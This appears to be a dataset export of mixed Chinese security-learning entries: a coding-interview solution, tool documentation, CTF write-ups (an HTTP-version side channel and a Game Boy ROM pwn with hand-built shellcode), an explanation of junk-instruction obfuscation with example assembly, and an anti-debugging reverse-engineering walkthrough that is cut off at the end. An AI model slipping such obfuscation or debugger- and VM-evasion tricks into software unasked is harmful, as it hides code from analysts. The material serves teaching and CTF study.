text
stringlengths
100
9.93M
category
stringclasses
11 values
# 49. 丑数 [NowCoder](https://www.nowcoder.com/practice/6aa9e04fc3794f68acf8778237ba065b?tpId=13&tqId=11186&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 把只包含因子 2、3 和 5 的数称作丑数(Ugly Number)。例如 6、8 都是丑数,但 14 不是,因为它包含因子 7。习惯上我们把 1 当做是第一个丑数。求按从小到大的顺序的第 N 个丑数。 ## 解题思路 ```java public int GetUglyNumber_Solution(int N) { if (N <= 6) return N; int i2 = 0, i3 = 0, i5 = 0; int[] dp = new int[N]; dp[0] = 1; for (int i = 1; i < N; i++) { int next2 = dp[i2] * 2, next3 = dp[i3] * 3, next5 = dp[i5] * 5; dp[i] = Math.min(next2, Math.min(next3, next5)); if (dp[i] == next2) i2++; if (dp[i] == next3) i3++; if (dp[i] == next5) i5++; } return dp[N - 1]; } ```
sec-knowleage
--- title: Pandoc date: 2023-03-21 13:26:00 background: bg-red-400 tags: - convert - document - utility categories: - Linux Command intro: | [Pandoc](https://pandoc.org) is a document converter, this pandoc cheat sheet contains pandoc commands and some common pandoc tricks. plugins: - copyCode --- Getting Started --------------- ### Pandoc Usage Syntax ```shell script $ pandoc -s [source file] -o [output file] ``` Pandoc examples ---------- ### LaTeX to MS Word {.col-span-2} Simple .tex to .docx ```shell script $ pandoc -s file.tex -o file.docx ``` .tex to .docx with default citations ```shell script $ pandoc -s file.tex --citeproc --bibliography=bib_library.bib -o file.docx ``` .tex to .docx with specific citations ```shell script $ pandoc -s file.tex --citeproc --bibliography=bib_library.bib --csl=apa.csl -o file.docx ``` Get `.csl` file from [here](https://github.com/citation-style-language/styles) .tex to .docx with cross references ```shell script $ pandoc -s file.tex --filter pandoc-crossref -o file.docx ``` Get the filter `pandoc-crossref` from [here](https://github.com/lierdakil/pandoc-crossref/releases) Also see {.cols-1} ---------- - [pandoc examples](https://pandoc.org/demos.html)
sec-knowleage
'\" t .TH "TIMEDATECTL" "1" "" "systemd 231" "timedatectl" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" timedatectl \- 控制系统的时间与日期 .SH "SYNOPSIS" .HP \w'\fBtimedatectl\ \fR\fB[OPTIONS...]\fR\fB\ \fR\fB{COMMAND}\fR\ 'u \fBtimedatectl \fR\fB[OPTIONS...]\fR\fB \fR\fB{COMMAND}\fR .SH "描述" .PP \fBtimedatectl\fR 可用于查询与修改 系统时钟的各项设置。 .PP 可以使用 \fBsystemd-firstboot\fR(1) 初始化已挂载(但未启动)的系统镜像的时区设置。 .SH "选项" .PP 能够识别的命令行选项如下: .PP \fB\-\-no\-ask\-password\fR .RS 4 在执行特权操作时不向用户索要密码。 .RE .PP \fB\-\-adjust\-system\-clock\fR .RS 4 当使用 \fBset\-local\-rtc\fR 命令时, 若使用了此选项, 则表示根据RTC时间来更新系统时钟。 若未使用此选项,则表示根据系统时钟来更新RTC时间。 .RE .PP \fB\-H\fR, \fB\-\-host=\fR .RS 4 操作指定的远程主机。可以仅指定一个主机名(hostname), 也可以使用 "username@hostname" 格式。 hostname 后面还可以加上容器名(以冒号分隔), 也就是形如 "hostname:container" 的格式, 以表示直接连接到指定主机的指定容器内。 操作将通过SSH协议进行,以确保安全。 可以通过 \fBmachinectl \-H \fR\fB\fIHOST\fR\fR 命令列出远程主机上的所有容器名称。 .RE .PP \fB\-M\fR, \fB\-\-machine=\fR .RS 4 在本地容器内执行操作。 必须明确指定容器的名称。 .RE .PP \fB\-h\fR, \fB\-\-help\fR .RS 4 显示简短的帮助信息并退出。 .RE .PP \fB\-\-version\fR .RS 4 显示简短的版本信息并退出。 .RE .PP \fB\-\-no\-pager\fR .RS 4 不将程序的输出内容管道(pipe)给分页程序。 .RE .PP 能够识别的命令如下: .PP \fBstatus\fR .RS 4 显示系统时钟与RTC的当前状态, 包括时区设置与网络时间同步服务的状态。 注意,所谓"网络时间同步服务的状态"实际上只是 systemd\-timesyncd\&.service 服务的状态, 并不检查是否存在其他时间同步服务。 这是默认命令。 .RE .PP \fBset\-time [TIME]\fR .RS 4 将系统时钟设为指定的时间, 并同时更新RTC时间。 [TIME] 是一个形如 "2012\-10\-30 18:17:16"的时间字符串。 .RE .PP \fBset\-timezone [TIMEZONE]\fR .RS 4 设置系统时区,也就是更新 /etc/localtime 软连接的指向。 可以用下面的 \fBlist\-timezones\fR 命令列出所有可用时区。 如果RTC被设为本地时间, 此命令还会同时更新RTC时间。 详见 \fBlocaltime\fR(5) 手册。 .RE .PP \fBlist\-timezones\fR .RS 4 列出所有可用时区,每行一个。 列出的值可以用作前述 \fBset\-timezone\fR 命令的参数。 .RE .PP \fBset\-local\-rtc [BOOL]\fR .RS 4 设为 "no" 表示在RTC中存储UTC时间; 设为 "yes" 表示在RTC中存储本地时间。 应该尽一切可能在RTC中存储UTC时间。 尽量不要在RTC中存储本地时间, 因为这会造成一系列麻烦, 尤其是在切换时区以及调整夏令时或冬令时的时候。 注意,除非明确使用了 \fB\-\-adjust\-system\-clock\fR 选项, 否则此命令还会同时用系统时钟更新RTC时间。 此命令还会改变 /etc/adjtime 文件第三行的内容,详见 \fBhwclock\fR(8) 手册。 .RE .PP \fBset\-ntp [BOOL]\fR .RS 4 是否开启网络时间同步。 设为 "yes" 则启用并启动 systemd\-timesyncd\&.service 服务, 设为 "no" 则停止并停用它。 该命令除了控制 systemd\-timesyncd\&.service 服务的状态,不做任何其他操作。 也就是说,设为 "yes" 相当于执行 \fBsystemctl enable \-\-now systemd\-timesyncd\&.service\fR 命令; 而设为 "no" 则相当于执行 \fBsystemctl disable \-\-now systemd\-timesyncd\&.service\fR 命令; .sp 注意,即使使用此命令关闭了 systemd\-timesyncd\&.service 服务, 仍然有可能存在其他时间同步服务。 另外,严格来说, systemd\-timesyncd\&.service 除了同步时间之外,还同时兼有其他功能, 例如在无网络且无RTC的系统上维持系统的"单调时钟"。 详见 \fBsystemd-timesyncd.service\fR(8) 手册。 .RE .SH "退出状态" .PP 返回值为 0 表示成功, 非零返回值表示失败代码。 .SH "环境变量" .PP \fI$SYSTEMD_PAGER\fR .RS 4 指定分页程序。仅在未指定 \fB\-\-no\-pager\fR 选项时有意义。 此变量会覆盖 \fI$PAGER\fR 的值。 将此变量设为空字符串或 "cat" 等价于使用 \fB\-\-no\-pager\fR 选项。 .RE .PP \fI$SYSTEMD_LESS\fR .RS 4 用于覆盖 默认传递给 \fBless\fR 程序的命令行选项 ("FRSXMK")。 .RE .SH "例子" .PP 显示当前的时间设置 .sp .if n \{\ .RS 4 .\} .nf $ timedatectl Local time: Di 2015\-04\-07 16:26:56 CEST Universal time: Di 2015\-04\-07 14:26:56 UTC RTC time: Di 2015\-04\-07 14:26:56 Time zone: Europe/Berlin (CEST, +0200) Network time on: yes NTP synchronized: yes RTC in local TZ: no .fi .if n \{\ .RE .\} .PP 开启网络时间同步服务 .sp .if n \{\ .RS 4 .\} .nf $ timedatectl set\-ntp true ==== AUTHENTICATING FOR org\&.freedesktop\&.timedate1\&.set\-ntp === Authentication is required to control whether network time synchronization shall be enabled\&. Authenticating as: user Password: ******** ==== AUTHENTICATION COMPLETE === .fi .if n \{\ .RE .\} .sp .sp .if n \{\ .RS 4 .\} .nf $ systemctl status systemd\-timesyncd\&.service ● systemd\-timesyncd\&.service \- Network Time Synchronization Loaded: loaded (/usr/lib/systemd/system/systemd\-timesyncd\&.service; enabled) Active: active (running) since Mo 2015\-03\-30 14:20:38 CEST; 5s ago Docs: man:systemd\-timesyncd\&.service(8) Main PID: 595 (systemd\-timesyn) Status: "Using Time Server 216\&.239\&.38\&.15:123 (time4\&.google\&.com)\&." CGroup: /system\&.slice/systemd\-timesyncd\&.service └─595 /usr/lib/systemd/systemd\-timesyncd \&.\&.\&. .fi .if n \{\ .RE .\} .sp .SH "参见" .PP \fBsystemd\fR(1), \fBhwclock\fR(8), \fBdate\fR(1), \fBlocaltime\fR(5), \fBsystemctl\fR(1), \fBsystemd-timedated.service\fR(8), \fBsystemd-timesyncd.service\fR(8), \fBsystemd-firstboot\fR(1) .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
# Lucky (web, 304p, 5 solved) A rather strange problem. We get access to a service which supposedly has closed its routing and it is returning only `index.php` page and `404.php`, and anything apart from `index.php` rediects to 404. After some fuzzing we finally noticed that requesting `404.php` with `HTTP/1.0` request directly has some strange behaviour - we can get 2 different responses. One is returned as `HTTP/1.0` and the other `HTTP/1.1`. We spend lots of time trying to understand how this can be useful -> we thought that maybe sometimes we're hitting the proxy/load balancer which is redirectig everything to 404, but other times we're reaching the php server directly, and maybe we could force Keep-Alive on the connection and send more requests for this server. However, it turned out to be much weirder. The flag was being broadcasted in binary format in the form of `1.0` or `1.1` HTTP protocol version: ```python from crypto_commons.netcat.netcat_commons import nc known = set() bits = [] while True: s = nc("167.172.172.196", 8889) s.sendall("GET /404.php HTTP/1.0\r\nHost: aaa\r\n\r\n") x = s.recv(9999) if "500" in x: bits = [] continue else: print(bits) print(x) if x not in known: known.add(x) if "1.0" in x: bits.append(0) else: bits.append(1) s.close() ``` There were some issues here: the server was crashing/stalling all the time, and we were missing bits and pieces of the flag. After each crash the server would also broadcast a different, random piece of the flag bitstream. We had to recover the original bits by combining triplets (we were getting data once per second and bits were changed every 3 seconds) and accunting for misssing onces (due to timing issues). Then we had to combine the bits into flag bytes: ```python offset = 0 real_bits = [] counter = 0 prev = bits[0] for bit in bits: if bit != prev: if counter % 3 == 1: counter -= 1 elif counter % 3 == 2: counter += 1 for _ in range(counter / 3): real_bits.append(prev) counter = 1 else: counter += 1 prev = bit print(real_bits) chunks = chunk_with_remainder(real_bits[offset:], 8) res = "" for chunk in chunks: c = chr(int("".join(map(str, chunk)), 2)) if c in string.lowercase or c in string.digits or c in "DCTF{}": res += c else: res += 'X' print(res) ``` Notice that we had to include a heuristic for missing values in triplets (it happened sometimes) and also to test all 8 start offsets (we don't know if the first bit we recovered is not somewhere in the middle of a flag character). Since the server was crashing, the flag was broadcasted in pieces. It took about 3h to recover enough pieces to solve a small jigsaw puzzle like: ``` DCTF{aa0f350d4 3b463e50820 463e50820} a90d80afbf98643f8bf 447e4df83l d8a90d80afbf9864 47e4df83e7543f 543fa86a26c14d8a9 a26c14d8a90d a86a26c14d8a90 ``` and re-assemble the flag: `DCTF{aa0f350d447e4df83e7543fa86a26c14d8a90d80afbf98643f8bf3b463e50820}`
sec-knowleage
### 花指令原理 花指令是企图隐藏掉不想被逆向工程的代码块(或其它功能)的一种方法, 在真实代码中插入一些垃圾代码的同时还保证原有程序的正确执行, 而程序无法很好地反编译, 难以理解程序内容, 达到混淆视听的效果. 花指令通常用于加大静态分析的难度。 ### 花指令编写 最简单的花指令使用了内联汇编的方式进行,下面以 VC 添加花指令的方式举例,gnu 的编译器也可以采用类似的方式添加花指令,但是使用 AT&T 汇编: ```c // 正常的函数代码 int add(int a, int b){ int c = 0; c = a + b; return c; } // 添加花指令的函数代码 int add_with_junk(int a, int b){ int c = 0; __asm{ jz label; jnz label; _emit 0xe8; call 指令,后面加4bytes的地址偏移,因此导致反汇编器不能正常识别 label: } c = a + b; return c; } ``` 使用 ida 的反编译时,添加了花指令的函数不能正常识别,结果如下: 伪代码: ```asm // 添加了花指令 .text:00401070 loc_401070: ; CODE XREF: sub_401005↑j .text:00401070 push ebp .text:00401071 mov ebp, esp .text:00401073 sub esp, 44h .text:00401076 push ebx .text:00401077 push esi .text:00401078 push edi .text:00401079 lea edi, [ebp-44h] .text:0040107C mov ecx, 11h .text:00401081 mov eax, 0CCCCCCCCh .text:00401086 rep stosd .text:00401088 mov dword ptr [ebp-4], 0 .text:0040108F jz short near ptr loc_401093+1 .text:00401091 jnz short near ptr loc_401093+1 .text:00401093 .text:00401093 loc_401093: ; CODE XREF: .text:0040108F↑j .text:00401093 ; .text:00401091↑j .text:00401093 call near ptr 3485623h .text:00401098 inc ebp .text:00401099 or al, 89h .text:0040109B inc ebp .text:0040109C cld .text:0040109D mov eax, [ebp-4] .text:004010A0 pop edi .text:004010A1 pop esi .text:004010A2 pop ebx .text:004010A3 add esp, 44h .text:004010A6 cmp ebp, esp .text:004010A8 call __chkesp .text:004010AD mov esp, ebp .text:004010AF pop ebp .text:004010B0 retn ``` 在上面这个例子中,把混淆视听的花指令 patch 成 nop 即可修复,然后正常分析。 值得注意的是,ida 对于栈的判定比较严格,因此 push,ret 一类的花指令会干扰反汇编器的正常运行,下面给出一个具体的例子,读者可以自己编译复现: ```c++ #include <stdio.h> // 使用 gcc/g++ 进行编译 int main(){ __asm__(".byte 0x55;"); // push rbp 保存栈 __asm__(".byte 0xe8,0,0,0,0;"); // call $5; __asm__(".byte 0x5d;"); // pop rbp -> 获取rip的值 __asm__(".byte 0x48,0x83,0xc5,0x08;"); // add rbp, 8 __asm__(".byte 0x55;"); // push rbp -> 相当于将call的返回值修改到下面去 __asm__("ret;"); __asm__(".byte 0xe8;"); // 这是混淆指令不执行 __asm__(".byte 0x5d;"); // pop rbp 还原栈 printf("whoami \n"); return 0; } ```
sec-knowleage
# RetroPwn > Come take a break playing this little game... We get a telnet and a gameboy ROM. ### Part 0 - checking out the game I's a quite simple game where you can move and shoot enemy, which also tries to shoot at you. Each enemy killed gains you current `score` amount of `gold`. You can also open shop and buy items for gold. ### Part 1 - reversing We used [BGB](https://bgb.bircd.org) for dynamic analysis together with Ghidra for static analysis. I've attached our exported ghidra DB. You need [GhidraBoy](https://github.com/Gekkio/GhidraBoy) plugin to open it tho. A placeholder flag string is inside the ROM, but is unused. We didn't think that the bug would be in movement function, so we mostly looked into shop part of the game while reversing. By setting item counts in debugger to 0xFF we noticed that entire menu is glitched. We can move cursor outside of the 15 item range. While reversing this behaviour in depth with ghidra the code looked extremly suspicious. Almost as if this bug was made on purpose. After some time we found how to trigger this bug. You can: - buy item - open use menu - select that you want to throw 1 item - use the item (which decrements count from 1 to 0) - throw the item (which decrements count from 0 to 255) thus you end up with negative amount of an item. ### Part 2 - pwn Long story short: - we setup our score to be exactly 0xc3ca, which points into `item_use_ptrs` ``` c3bf 87 57 addr use_item_0 c3c1 02 58 addr use_item_1 c3c3 81 58 addr use_item_2 c3c5 00 59 addr use_item_3 c3c7 7f 59 addr use_item_4 c3c9 fe 59 addr use_item_5 <= we point at byte 59 here c3cb 7d 5a addr use_item_6 c3cd fc 5a addr use_item_7 c3cf 7b 5b addr use_item_8 c3d1 fa 5b addr use_item_9 c3d3 79 5c addr use_item_10 c3d5 51 56 addr use_item_11 c3d7 ad 56 addr use_item_12 c3d9 f2 56 addr use_item_13 c3db 3a 57 addr use_item_14 # gold c3dd ?? ?? int16_t ?? # flag 6d82 ds "INS(PLACEHOLDER!!!)" ``` - we prepare our gold for next steps to end with exactly E9, which will be `JMP (HL)` opcode - we setup our shellcode at 0xc3ca by moving cursor to our shellcode and tossing X amount of items by doing that we can decrement any positive value (that is <= 0x7F), we can't point our cursor at negative values (or 0). - call our shellcode by using item So here's how our shellcode worked without garbage opcodes: ``` LD E, 0x82 LD D, 0x6d LD HL, 0x5711 # after jump PUSH DE CALL printf ``` But to make it work with bytes we had at hand and mechanic of only decrementing positive numbers we created: ``` 0x59 => toss 27 => 0x3e # LD A, imm 0x7d => toss 54 => 0x47 # load (lower bytes of flag string pointer shifted right by 1 byte) into A # we do this because flag add ends with 0x82 which is negative 0x5a => toss 44 => 0x2e # LD L, imm 0xfc => => 0xfc # this operation is just a workaround for not being able to touch 0xfc 0x5a => toss 83 => 0x07 # RLC A # shift A left (to fix the pointer to the flag) 0x7b => toss 28 => 0x5f # LD E, A # move lower bytes of flag pointer into E 0x5b => toss 29 => 0x3e # LD A, 0xFA 0xfa => => 0xfa # this operation is just a workaround for not being able to touch 0xfa 0x5b => toss 69 => 0x16 # LD D, imm 0x79 => toss 12 => 0x6d # move higher bytes of flag pointer into D 0x5c => toss 1 => 0x5b # LD E, E # NOP 0x51 => toss 2 => 0x4f # LD C, A # NOP 0x56 => toss 4 => 0x52 # LD D, D # NOP 0xad => => 0xad # XOR L # NOP 0x56 => toss 4 => 0x52 # LD D, C # NOP 0xf2 => => 0xf2 # LD A, (C) # NOP 0x56 => toss 53 => 0x21 # LD HL, 0x5711 0x31 => toss 41 => 0x11 # load address where push DE, call printf exists 0x57 => => 0x57 # into HL gold => => 0xe9 # JMP (HL) ``` Since we're priting where our score was placed we can only print 3 characters as the rest is printed outside of visible screen. So we created our shellcode to not crash the game and we have easily movable string pointer at the beginning of the shellcode. So we used 0x47 to print 3 last characters, then decremented the value to 0x46 to move pointer to print previous characters and so on till 0x41. *Note: actually 0x41 prints 6 characters, since it overflows text and starts overwriting on the left side as well.* Flag leaks: ``` 0x41: INS( !!!) 0x43: H4C 0x44 CKB 0x45 B0Y 0x46 Y'1 0x47 101 Flag: INS(H4CKB0Y'101!!!) ```
sec-knowleage
# Android 逆向基本介绍 首先,我们需要明确一下 Android 逆向的目的: **希望分析出程序的功能** 。那么我们自然也就有两个方面(方法与对象)可以考虑 - 分析方法,可以采用以下方式 - 静态分析,对源代码进行逆向,然后阅读分析 - 动态分析,对代码进行动态调试,一般来说动态分析离不开静态分析。 - 分析对象,一般有以下两类对象 - java,层代码 - 原生层代码 不难看出,要想分析 Android 应用,基本的 java 层的知识与原生层的知识还是有必要掌握的。 目前来说,Android 逆向主要应用于以下几个方向 1. app 安全审查 2. 系统漏洞挖掘 3. 恶意代码杀查 4. 同行业产品技术原理分析 5. 移除安全机制
sec-knowleage
# 反调试技术例题 我们现在来分析一道2016年SecCon的`anti-debugging`题, 题目下载链接: [bin.exe](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/anti-debug/2016_seccon/anti_debugging_100/bin.exe) 这是一个32位的PE文件, 是一个控制台程序, 我们直接运行, 会要求输入`password`. 当你输入一个错误的`password`时则会提示你`password is wrong`. 我们用IDA打开来看下, 最快速的方式就是直接查看字符串, 根据`password is wrong`找到关键代码. IDA显示的结果如下图: 显然, 字符串表明程序中可能有各种检测, 比如检测进程名`ollydbg.exe`, `ImmunityDebugger.exe`, `idaq.exe`和`Wireshark.exe`. 然后也有其他的检测. 我们也看到了字符串`password is wrong`和`You password is correct`的字样. 同时还发现了一个很有可能就是待解密的flag的字符串. 那么我们就先根据`password is wrong`的交叉引用来到关键函数处. 如下所示: 程序果然使用了大量的反调试技巧. ``` c int __cdecl main(int argc, const char **argv, const char **envp) { v23 = 0; memset(&v24, 0, 0x3Fu); v22 = 1; printf("Input password >"); v3 = (FILE *)sub_40223D(); fgets(&v23, 64, v3); strcpy(v21, "I have a pen."); v22 = strncmp(&v23, v21, 0xDu); // 1. 直接比较明文字符串与输入字符串 if ( !v22 ) { puts("Your password is correct."); if ( IsDebuggerPresent() == 1 ) // 2. API: IsDebuggerPresent() { puts("But detected debugger!"); exit(1); } if ( sub_401120() == 0x70 ) // 3. 检测PEB的0x68偏移处是否为0x70. 检测NtGlobalFlag() { puts("But detected NtGlobalFlag!"); exit(1); } /* BOOL WINAPI CheckRemoteDebuggerPresent( * _In_ HANDLE hProcess, * _Inout_ PBOOL pbDebuggerPresent * ); */ v4 = GetCurrentProcess(); CheckRemoteDebuggerPresent(v4, &pbDebuggerPresent); if ( pbDebuggerPresent ) // 4. API: CheckRemoteDebuggerPresent() { printf("But detected remotedebug.\n"); exit(1); } v13 = GetTickCount(); for ( i = 0; i == 100; ++i ) Sleep(1u); v16 = 1000; if ( GetTickCount() - v13 > 1000 ) // 5. 检测时间差 { printf("But detected debug.\n"); exit(1); } lpFileName = "\\\\.\\Global\\ProcmonDebugLogger"; if ( CreateFileA("\\\\.\\Global\\ProcmonDebugLogger", 0x80000000, 7u, 0, 3u, 0x80u, 0) != (HANDLE)-1 ) { printf("But detect %s.\n", &lpFileName); // 6. 检测ProcessMonitor exit(1); } v11 = sub_401130(); // 7. API: CreateToolhelp32Snapshot()检测进程 if ( v11 == 1 ) { printf("But detected Ollydbg.\n"); exit(1); } if ( v11 == 2 ) { printf("But detected ImmunityDebugger.\n"); exit(1); } if ( v11 == 3 ) { printf("But detected IDA.\n"); exit(1); } if ( v11 == 4 ) { printf("But detected WireShark.\n"); exit(1); } if ( sub_401240() == 1 ) // 8. 通过vmware的I/O端口进行检测 { printf("But detected VMware.\n"); exit(1); } v17 = 1; v20 = 1; v12 = 0; v19 = 1 / 0; ms_exc.registration.TryLevel = -2; // 9. SEH printf("But detected Debugged.\n"); exit(1); } printf("password is wrong.\n"); return 0; } ``` 我在代码里写了注释, 列出了其中所使用的9个保护技术部分. 我们来逐一分析一下吧. ## 比较明文字符串 ``` c printf("Input password >"); v3 = (FILE *)sub_40223D(); fgets(&v23, 64, v3); strcpy(v21, "I have a pen."); v22 = strncmp(&v23, v21, 0xDu); // 1. 直接比较明文字符串与输入字符串 if ( !v22 ) { ...... } ``` 这里就是输出`Input password >`. 然后用`fgets()`获取用户输入的字符串, 将`I have a pen.`复制到`v21`的缓冲区中, 然后用`strncmp`比对用户输入与`I have a pen.`的内容, 并将比较结果返回给`v22`. 以下会根据`v22`, 也就是根据输入的`password`是否正确, 而进行跳转. ## IsDebuggerPresent() ``` c puts("Your password is correct."); if ( IsDebuggerPresent() == 1 ) // 2. API: IsDebuggerPresent() { puts("But detected debugger!"); exit(1); } ``` 显然, 输入的`password`正确, 就会输出提示`Your password is correct.`. ??? 不觉得奇怪吗. 难道`I have a pen.`就是我们的flag了吗? 不不不当然不是. 这其实是一个陷阱, 既然你知道了`I have a pen.`那么就肯定有通过某种逆向手段在对程序进行分析. 所以接下来的部分就开始进行一些反调试或其他的检测手段(实际中也可以出现这样的陷阱). 一开始的是`IsDebuggerPresent()`, 根据返回结果判断是否存在调试.如果不太清楚的话, 可以返回去看 [IsDebuggerPresent()](./isdebuggerpresent.md) 篇 ## NtGlobalFlag 接下来是检测`NtGlobalFlag`这个字段的标志位. 通过检测PEB的字段值是否为`0x70`来检测调试器, 如果不太清楚的话, 可以返回去看 [NtGlobalFlag](./ntglobalflag.md) 篇 ``` c if ( sub_401120() == 0x70 ) // 3. 检测PEB的0x68偏移处是否为0x70. 检测NtGlobalFlag() { puts("But detected NtGlobalFlag!"); exit(1); } ``` 那我们来简单看一下`sub_401120()`好了 ``` c int sub_401120() { return *(_DWORD *)(__readfsdword(48) + 0x68) & 0x70; } ``` `0x68`是PEB的`NtGlobalFlag`字段对应偏移值. `0x70`是`FLG_HEAP_ENABLE_TAIL_CHECK (0x10)`, `FLG_HEAP_ENABLE_FREE_CHECK (0x20)` 和`FLG_HEAP_VALIDATE_PARAMETERS (0x40)`这三个标志 ## CheckRemoteDebuggerPresent ``` c++ /* BOOL WINAPI CheckRemoteDebuggerPresent( * _In_ HANDLE hProcess, * _Inout_ PBOOL pbDebuggerPresent * ); */ v4 = GetCurrentProcess(); CheckRemoteDebuggerPresent(v4, &pbDebuggerPresent); if ( pbDebuggerPresent ) // 4. API: CheckRemoteDebuggerPresent() { printf("But detected remotedebug.\n"); exit(1); } ``` 这里我顺便在注释里列出了`CheckRemoteDebuggerPresent()`这个API的函数原型. 如果检测到调试器的存在, 会将`pbDebuggerPresent`设置为一个非零值. 根据其值检测调试器([CheckRemoteDebuggerPresent()](./checkremotedebuggerpresent.md) 篇) ## 时间差检测 ``` c v13 = GetTickCount(); for ( i = 0; i == 100; ++i ) // 睡眠 Sleep(1u); v16 = 1000; if ( GetTickCount() - v13 > 1000 ) // 5. 检测时间差 { printf("But detected debug.\n"); exit(1); } ``` `GetTickCount`会返回启动到现在的毫秒数, 循环里光是`sleep(1)`就进行了100次, 也就是100毫秒. 两次得到的时间作差如果大于1000毫秒, 时差明显大于所耗的时间, 也就间接检测到了调试. ## ProcessMonitor ``` c lpFileName = "\\\\.\\Global\\ProcmonDebugLogger"; if ( CreateFileA("\\\\.\\Global\\ProcmonDebugLogger", 0x80000000, 7u, 0, 3u, 0x80u, 0) != (HANDLE)-1 ) { printf("But detect %s.\n", &lpFileName); // 6. 检测ProcessMonitor exit(1); } ``` 这里通过检测设备文件`\\\\.\\Global\\ProcmonDebugLogger`来检测`ProcessMonitor` ## 检测进程名 这里通过执行`sub_401130()`函数来检测进程, 并根据检测到的不同进程, 返回相应的值. ``` c v11 = sub_401130(); // 7. API: CreateToolhelp32Snapshot()检测进程 if ( v11 == 1 ) { printf("But detected Ollydbg.\n"); exit(1); } if ( v11 == 2 ) { printf("But detected ImmunityDebugger.\n"); exit(1); } if ( v11 == 3 ) { printf("But detected IDA.\n"); exit(1); } if ( v11 == 4 ) { printf("But detected WireShark.\n"); exit(1); } ``` 我们就来看一下`sub_401130()`函数 ``` c signed int sub_401130() { PROCESSENTRY32 pe; // [sp+0h] [bp-138h]@1 HANDLE hSnapshot; // [sp+130h] [bp-8h]@1 int i; // [sp+134h] [bp-4h]@1 pe.dwSize = 296; memset(&pe.cntUsage, 0, 0x124u); hSnapshot = CreateToolhelp32Snapshot(2u, 0); for ( i = Process32First(hSnapshot, &pe); i == 1; i = Process32Next(hSnapshot, &pe) ) { if ( !_stricmp(pe.szExeFile, "ollydbg.exe") ) return 1; if ( !_stricmp(pe.szExeFile, "ImmunityDebugger.exe") ) return 2; if ( !_stricmp(pe.szExeFile, "idaq.exe") ) return 3; if ( !_stricmp(pe.szExeFile, "Wireshark.exe") ) return 4; } return 0; } ``` 这里使用了API: `CreateToolhelp32Snapshot`来获取当前的进程信息. 并在for循环里依次比对. 如果找到指定的进程名, 就直接返回相应的值. 然后根据返回值跳转到不同的分支里. ## 检测VMware 检测VMware也是检测一些特征. 根据检测的结果进行判断. ``` c if ( sub_401240() == 1 ) // 8. 通过vmware的I/O端口进行检测 { printf("But detected VMware.\n"); exit(1); } ``` 来看`sub_401240()`函数. ``` c signed int sub_401240() { unsigned __int32 v0; // eax@1 v0 = __indword(0x5658u); return 1; } ``` 这是VMware的一个"后门"I/O端口, `0x5658 = "VX"`. 如果程序在VMware内运行, 程序使用`In`指令通过`0x5658`端口读取数据时, `EBX`寄存器的值就会变为`0x564D5868`(`0x564D5868 == "VMXh"`) 看IDA反编译出的伪C代码并不很直观地体现这点, 我们看汇编代码就清楚了 ``` asm .text:0040127A push edx .text:0040127B push ecx .text:0040127C push ebx .text:0040127D mov eax, 564D5868h // <------ .text:00401282 mov ebx, 0 .text:00401287 mov ecx, 0Ah .text:0040128C mov edx, 5658h // <------ .text:00401291 in eax, dx .text:00401292 pop ebx .text:00401293 pop ecx .text:00401294 pop edx ``` 更多阅读: [E-cards don?t like virtual environments](https://isc.sans.edu/diary/E-cards+don%3Ft+like+virtual+environments/3190) ## SEH ``` c v17 = 1; v20 = 1; v12 = 0; v19 = 1 / 0; // 9. SEH ms_exc.registration.TryLevel = -2; printf("But detected Debugged.\n"); exit(1); ``` 接下来这一段, 很奇怪不是吗. 这里`v19 = 1 / 0;`明显是不合常理的, 会产生一个除零异常. 而后面的`ms_exc.registration.TryLevel = -2;`这是解除异常, `TryLevel=TRYLEVEL_NONE (-2)` . 来看汇编代码. ``` .text:004015B8 mov [ebp+var_88], 1 .text:004015C2 mov [ebp+var_7C], 1 .text:004015C9 mov [ebp+var_9C], 0 .text:004015D3 mov [ebp+ms_exc.registration.TryLevel], 0 .text:004015DA mov eax, [ebp+var_7C] .text:004015DD cdq .text:004015DE idiv [ebp+var_9C] .text:004015E4 mov [ebp+var_80], eax .text:004015E7 mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh .text:004015EE jmp short loc_40160A ``` 在这里的`idiv [ebp+var_9C]`触发异常后就由程序注册的异常处理函数接管, 而如果没有在异常处理程序入口设下断点的话, 程序就容易跑飞. ## 获取flag 但整个看下了. 怎么感觉关flag一点事都没有了呢? 还有没有记起之前在字符串窗口看到的疑似是那个待解密的flag的字符串? 实际上由于IDA反编译的限制, 使得反编译出的伪C代码并不正确. 比如在最后一段的`printf("But detected Debugged.\n");`这里, 我们来看具体的汇编代码. ``` asm .text:00401627 call sub_4012E0 .text:0040162C movzx eax, ax .text:0040162F mov [ebp+var_A8], eax .text:00401635 cmp [ebp+var_A8], 0 // <------ .text:0040163C jz short loc_401652 // <------ .text:0040163E push offset aButDetectedD_2 ; "But detected Debugged.\n" .text:00401643 call _printf .text:00401648 add esp, 4 .text:0040164B push 1 ; int .text:0040164D call _exit ``` 实际上这一段代码并没有被IDA反编译出来. 而`loc_401652`位置则是一串代码, 亮点在于使用了一个`MessageBoxA`的函数. 而且函数参数之一就是我们的待解密flag. 那么我们就可以在输入`I have a pen.`后, 在`if ( !v22 )`跳转的汇编代码部分, 将其手动改为跳转到flag解密及弹出`messagebox`的部分运行, 让程序自己帮忙解密并输出, 就可以了. 操作如下图所示: 这里是输入`I have a pen.`后的跳转部分, 因为正常跳转到的部分, 全是一些检测调试的内容, 所以我们直接跳到代码解密的部分. 也就是`00401663`的位置. 在`00401663`以上的`mov-cmp-jnz`也是一个验证部分, 就不管了, 直接跳到`00401663`这里的`mov ecx, 